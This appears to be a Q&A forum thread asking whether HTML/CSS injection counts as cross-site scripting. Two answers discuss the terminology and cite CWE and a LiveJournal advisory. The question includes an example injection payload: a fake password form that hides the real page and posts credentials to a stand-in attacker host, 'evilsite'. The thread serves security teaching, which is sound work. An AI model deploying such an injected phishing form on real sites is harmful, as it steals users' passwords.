CODEWITHSUNDEEP
csssecurityxss
theotherian
theotherian

Reputation: 189

Does XSS/Cross Site Scripting also include CSS injection?

I'm working on a presentation regarding web security and was preparing to show a few basic Cross Site Scripting examples.

Amusingly, while working on these examples in Chrome, I came across Chrome's XSS prevention feature, where it will detect if a script is executing that was also present in the request; pretty nifty feature.

Since my example deliberately writes back content submitted in an unescaped format, I decided to see if Chrome handled style information in the same fashion. In this case, I was able to submit closing tags and a style element that hid the rest of the document and rewrote it with my content instead.

What I'm wondering is: does what I did still count as Cross Site Scripting, or is it called something else? It's still an attack of injecting content into a page to change the layout and potentially do nefarious things like adding a form that submits to an attacker's site, but it's not explicitly injecting a script.

I'd like to make sure I'm getting the semantics of this stuff correct, and this case seems to defeat the notion of explicitly calling XSS a script based attack, unless this has its own moniker.

Thanks in advance!

EDIT: I'm going to provide a quick example of what I'm talking about

If I have the following page:

<html>
  <body>
    <h1 class="welcome">Welcome Fred!</h1>
  </body>
</html>

and the term "Fred" is coming from user input, if no escaping is present I could inject:

<html>
  <body>
    <h1 class="welcome">Welcome 
      <!-- begin injected code -->
      </h1>
      <style>.welcome { visibility: hidden; display: none; }</style>
      <h1>Please enter your password to continue</h1>
      <form method="post" action="http://evilsite/hax">
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" />
        <input type="Submit" name="Submit" value="Submit">
      </form>
      <h1 class="welcome">
      <!-- end injected code -->
      !
    </h1>
  </body>
</html>

And then the page looks like the legitimate site is asking for the user's password while it would be submitted to the attacker's site (and potentially redirected to the legitimate site to keep the victim unaware).

It still has a similar intent as a normal script based XSS attack, but no script is involved.

Upvotes: 2

Views: 2892

Answers (2)

Gumbo
Gumbo

Reputation: 655239

In the strict sense, an attack would only be called a Cross-Site Scripting attack if it is possible to inject some client-side scripting from outside (i. e. cross-domain) into a document so that the injected code will be executed in the victim’s browser in the document’s context and thus with the same result as it would have been served by the server.

This is how the CWE describes XSS:

Cross-site scripting (XSS) vulnerabilities occur when:

  1. Untrusted data enters a web application, typically from a web request.
  2. The web application dynamically generates a web page that contains this untrusted data.
  3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

So if the injection doesn’t contain client-side scripting but something different, you wouldn’t call it XSS but something different like code injection. In case of changing the contents it could also be referred to as defacement.

But for the sake of convenience, many conflate every attack that allows to inject something into the document as XSS. According to CWE, the attack of injecting a fake login form into a document would also be called XSS.

Upvotes: 1

Mike Samuel
Mike Samuel

Reputation: 120516

There is precedent for calling this XSS. As explained in Is a cross-domain attack via stylesheet possible? livejournal was one of the first widely reported targets of CSS based XSS.

LiveJournal contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate XML xsl namespace variables upon submission to the '/cgi-bin/cleanhtml.pl' script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

The term "Cross-site scripting" in this case is appropriate because the attack escalated privileges by injecting script into a site where it gained privileges by virtue of the same-origin policy. Whether the script is in JavaScript, CSS, HTML, a URL, or some other kind of code is irrelevant to whether the attack should be described as "XSS". That determination is made based on the following:

  1. Did an attacker cause code to run in a browser? If so, it is scripting.
  2. Did that code run with privileges under a browser's same origin policy that the owners of that origin did not intend to grant? If so, it is cross-site.

EDIT:

If no script is run, then it is not cross-site scripting. Perhaps content-injection or content-masking would be a more appropriate term.

Upvotes: 2

Related Questions